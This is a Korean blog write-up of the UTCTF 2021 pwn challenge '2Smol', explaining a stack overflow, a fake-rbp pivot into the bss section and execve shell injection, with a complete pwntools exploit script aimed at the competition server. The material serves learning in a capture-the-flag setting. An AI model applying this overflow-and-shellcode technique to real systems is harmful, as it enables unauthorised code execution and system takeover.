Sechack

UTCTF 2021 - 2Smol 풀이 본문

CTF

UTCTF 2021 - 2Smol 풀이

Sechack 2021. 3. 15. 16:53
반응형

 

main함수와 _read함수, 그리고 _start함수 3개만 덩그러니 있었다.

 

 

gdb로 어셈블리어를 보니까 rbp-0x8에 입력받는데 0x200만큼 입력이 가능했다. 즉 sfp와 ret을 덮는게 가능하다.

(gdb로 다시한번 더 본 이유는 IDA에서는 rbp-fd라고 출력이 되어서 정확한 확인을 위해 gdb로 한번더 보았다.)

근데 지금보니까 fd = dword ptr -8이라는게 상단에 보인다.

 

 

역시 static이다.

 

 

보호기법을 보니 NX가 해제되어 있었다. 이말은 즉 쉘코드 삽입이 가능하다는 말이다. 처음에는 syscall로 call chain을 구성해보자는 생각을 했으나 가젯이 너무나도 없었다. pop rax만 있어도 sigreturn을 사용해서 익스플로잇 했을텐데

rax를 조작해줄수 있는 가젯마저 없었다. 하지만 이 바이너리는 NX가 해제되어 있으므로 쉘코드를 사용할수가 있다.

쉘코드를 bss영역에 집어넣고 bss로 ret하면 된다. 그러면 두번째 인자인 rsi를 bss영역의 주소로 조작해야 한다.

 

rsi레지스터의 흐름을 보면 

 

 

먼저 main에서 rbp-8이 rdi로 들어간다.

 

 

그리고 _read함수에서 mov rsi, rdi를 해준다. 결국은 rbp-8이 rsi가 되는것이다. 그럼 rbp를 조작하면 된다. 

mov rsp, rbp; pop rbp 가 함수 에필로그에 있다. 즉 fake ebp라고 불리는 기법을 이용해서 rbp를 bss+8로

조작하고 _read함수를 호출한다면 bss에 입력할 수 있게 된다. 그러면 이제 쉘코드를 삽입하고 그곳으로

ret하면 문제가 풀리게 된다.

 

from pwn import *

context.arch = "amd64"

#p = process("./smol")
r = remote("pwn.utctf.live", 9998)
e = ELF("./smol")
bss = e.bss()

shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))

payload = b"a"*8
payload += p64(bss+0x8)
payload += p64(0x401015)

payload2 = b"\x90"*0x10
payload2 += p64(bss+0x18)
payload2 += shellcode

r.send(payload)
r.send(payload2)

r.interactive()

 

익스플로잇 코드이다. 마지막에 "\x90"을 0x10만큼 넣어준건 rsi랑 rsp랑 0x10만큼 차이나서 맞춰준것이다.

(ret은 현재 rsp에 저장된 주소를 꺼내와서 점프뛰니까 rsp기준으로 맞춰줘야 한다. 아마도 중간에 pop하는 과정때문에 rsp랑 rsi랑 차이나는것 같다.)

 

 

익스플로잇에 성공하였다.

 

utctf{srop_xd}

반응형
Comments